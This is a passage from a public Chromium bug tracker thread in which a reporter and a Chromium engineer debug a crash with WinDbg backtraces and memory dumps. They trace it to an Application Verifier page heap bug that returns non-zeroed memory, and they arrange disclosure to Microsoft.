08 00000024`08fff490 00007ffc`2c962711 verifier!AVrfpDphFindBusyMemory+0x1f
09 00000024`08fff4d0 00007ffc`2c96419d verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x25
0a 00000024`08fff500 00007ffc`4180c493 verifier!AVrfDebugPageHeapFree+0x8d
0b 00000024`08fff560 00007ffc`417c50e9 ntdll!RtlDebugFreeHeap+0x47
0c 00000024`08fff5c0 00007ffc`4174a996 ntdll!RtlpFreeHeap+0x792a9
0d 00000024`08fff800 00007ff7`a4f52454 ntdll!RtlFreeHeap+0x106
0e 00000024`08fff860 00007ff7`a4f52738 repro!free+0x1c [f:\dd\vctools\crt\crtw32\heap\free.c @ 51]
0f 00000024`08fff890 00007ffc`41766876 repro!_freefls+0x24 [f:\dd\vctools\crt\crtw32\startup\tidtable.c @ 385]
10 00000024`08fff8c0 00007ffc`41741553 ntdll!RtlProcessFlsData+0x156
11 00000024`08fff910 00007ffc`41729fde ntdll!LdrShutdownThread+0x43
12 00000024`08fffa10 00007ffc`3ee02d9a ntdll!RtlExitUserThread+0x3e
13 00000024`08fffa50 00007ffc`41729f64 KERNEL32!BaseThreadInitThunk+0x2a
14 00000024`08fffa80 00000000`00000000 ntdll!RtlUserThreadStart+0x34

repro.cc
484 bytes Download
Of course you are free to spent your time however you see fit. But I've attempted to explain before that the VerifierStopMessage exception is not the issue I reported, nor is it a security issue in Chrome: it is a bug in application verifier as comment #69 should clearly show to anyone I was unable to convince before.

If you really feel you must investigate this verifier bug further, please open a new bug so as not to clutter the conversation about the real issue, which is the use of uninitialized memory by msvcrt.dll.

I would strongly encourage you to focus on the issue I reported first. The deadline of 60 days since I reported the issue is in a few days and there has not been any progress in investigating this issue. I have not received a request to extend the deadline either. If this situation does not change, I will release details on this issue to the public the moment this deadline passes.



Cc: -xhw...@chromium.org
Oops, my mistake - I did get access violations on d0d0d0d0d0d0d0d0 with different stack traces, but the one I posted is indeed the verifier bug. Here the backtrace on the repro.exe with your workaround applied:

00 0000005f`cf7cf6d0 00007ffc`2795252b verifier!AVrfpDphFindBusyMemoryNoCheck+0x8a
01 0000005f`cf7cf730 00007ffc`27952711 verifier!AVrfpDphFindBusyMemory+0x1f
02 0000005f`cf7cf770 00007ffc`2795419d verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x25
03 0000005f`cf7cf7a0 00007ffc`4180c493 verifier!AVrfDebugPageHeapFree+0x8d
04 0000005f`cf7cf800 00007ffc`417c50e9 ntdll!RtlDebugFreeHeap+0x47
05 0000005f`cf7cf860 00007ffc`4174a996 ntdll!RtlpFreeHeap+0x792a9
06 0000005f`cf7cfaa0 00007ff7`4a17115c ntdll!RtlFreeHeap+0x106
07 0000005f`cf7cfb00 00007ff7`4a171aac repro!free+0x1c [f:\dd\vctools\crt\crtw32\heap\free.c @ 51]
08 0000005f`cf7cfb30 00007ffc`41766876 repro!_freefls+0x24 [f:\dd\vctools\crt\crtw32\startup\tidtable.c @ 385]
09 0000005f`cf7cfb60 00007ffc`41741553 ntdll!RtlProcessFlsData+0x156
0a 0000005f`cf7cfbb0 00007ffc`41729fde ntdll!LdrShutdownThread+0x43
0b 0000005f`cf7cfcb0 00007ffc`3ee02d9a ntdll!RtlExitUserThread+0x3e
0c 0000005f`cf7cfcf0 00007ffc`41729f64 KERNEL32!BaseThreadInitThunk+0x2a
0d 0000005f`cf7cfd20 00000000`00000000 ntdll!RtlUserThreadStart+0x34

Just like with the chrome crash, the FLS has been overwritten with pageheap poison:

> dq poi(@$teb+17c8)
000000c3`d7a2ebf0  00007ff6`411c7328 000000c3`d4939bf0
000000c3`d7a2ec00  d0d0d0d0`d0d0d0d0 000000c3`d7a2cb80
000000c3`d7a2ec10  d0d0d0d0`d0d0d0d0 d0d0d0d0`d0d0d0d0
000000c3`d7a2ec20  d0d0d0d0`d0d0d0d0 d0d0d0d0`d0d0d0d0
000000c3`d7a2ec30  d0d0d0d0`d0d0d0d0 d0d0d0d0`d0d0d0d0
000000c3`d7a2ec40  d0d0d0d0`d0d0d0d0 d0d0d0d0`d0d0d0d0
000000c3`d7a2ec50  d0d0d0d0`d0d0d0d0 d0d0d0d0`d0d0d0d0
000000c3`d7a2ec60  d0d0d0d0`d0d0d0d0 d0d0d0d0`d0d0d0d0
Oops, left out the crashing instruction:

verifier!AVrfpDphFindBusyMemoryNoCheck+0x8a:
00007ffc`24b424a6 817ac0bbbbcdab  cmp     dword ptr [rdx-40h],0ABCDBBBBh ds:d0d0d0d0`d0d0d090=????????
Hm, actually, I just realized that the workaround appears targeted at 32 bit, so applying it may have been nonsensical, let me double check this...
OK, so obviously, applying the 32 bit workaround doesn't make sense, but with repro.exe, the access violation in #72 happens without patching AVrfDebugPageHeapReAllocate.

Just for completeness, I ported your workaround to x64. Assuming that the port is correct, I don't see the reallocate in place bug happening on this program on my dev machine (it's a windows 10 machine). The output always prints: "Update page heap data 9000->9000"

bp verifier!AVrfDebugPageHeapReAllocate "r $t0=@r8;.if (qwo(@$t0-30) > @r9) {.printf \"Reallocate shrink %X -> %X @ %X\\r\\n\",dwo(@$t0-30),@r9,@$t0;~.gu;.if(@$t0==@rax) {r @$t1=(qwo(@$t0-30)+0xfff)&0xFFFFFFFFFFFFF000;.printf \"Update page heap data %X->%X\\r\\n\",qwo(@$t0-28),@$t1;ed @$t0-14 @$t1};g}.else{g}"

With this workaround, I get this crash instead:

erifier!AVrfpDphFindBusyMemoryNoCheck+0x8a:
00007ffc`279524a6 817ac0bbbbcdab  cmp     dword ptr [rdx-40h],0ABCDBBBBh ds:d0d0d0d0`d0d0d090=????????

Like I said, based on the logging output, the around never writes a different value to memory, but it seems to mess with the timing sufficiently that corruption is happening somewhere other than the FLS.
Oops, I made two mistakes in that x64 version - here's the corrected one - the results are exactly the same though.

bp verifier!AVrfDebugPageHeapReAllocate "r $t0=@r8;.if (qwo(@$t0-30) > @r9) {.printf \"Reallocate shrink %X -> %X @ %X\\r\\n\",qwo(@$t0-30),@r9,@$t0;~.gu;.if(@$t0==@rax) {r @$t1=(qwo(@$t0-30)+0xfff)&0xFFFFFFFFFFFFF000;.printf \"Update page heap data %X->%X\\r\\n\",qwo(@$t0-28),@$t1;ed @$t0-28 @$t1};g}.else{g}"

Status: WontFix
I read through the page heap code and found the root cause (unrelatedly, I did not see the inconsistency mentioned in your blog post in either the win10 or win 8.1 copies of verifier.dll that I looked at - perhaps they fixed it):

In verifier!AVrfDebugPageHeapAllocate, when the allocation is made from the free list (?),  the HEAP_ZERO_MEMORY flag is ignored. FLS allocation relies on this flag (see the call to RtlAllocateHeap in ntdll!RtlProcessFlsData). AVrfDebugPageHeapReAllocate appears to have a similar bug with HEAP_REALLOC_IN_PLACE_ONLY, though I didn't find an easy way to trigger that code path to verify this.

I've attached a program that demonstrates HeapAlloc returning non-zeroed memory on my machine.

Since this is your bug, we won't be taking any additional action on it, but hopefully you can report it to Microsoft and get it fixed.

Feel free to reopen this issue if any of this looks incorrect.
repro.cc
966 bytes Download
Thanks for the detailed information - I will incorporate it into my report to Microsoft.

I would like to suggest to MSRC that they look at this issue for additional information, which means they will need to have access. Who can I say they should contact about that?

Also, I would like to share credit with you for this find, given the amount of analysis that you provided in order to determine the root cause. Let me know what I should tell Microsoft.
If you email security@chromium.org or comment here with people's emails, we can add them to this bug.

Feel free to mention my name to them as well if you'd like, thanks!
Thanks, will do.

Can you give me the name you want credited (I can only see "ric...@chromium.org", which I doubt is what you'll want :)
Oops, I didn't realize it looked like that - I'm Ricky Zhou (rickyz@chromium.org).
Thanks! I've send out the email and got a case number. Now all we do is wait...
 Issue 461932  has been merged into this issue.
Project Member

Comment 84 by ClusterFuzz, Jan 30 2016

Labels: -Restrict-View-SecurityTeam
This security bug has been closed for more than 14 weeks. Removing view restrictions.

- Your friendly ClusterFuzz
Project Member

Comment 85 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 86 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic

Sign in to add a comment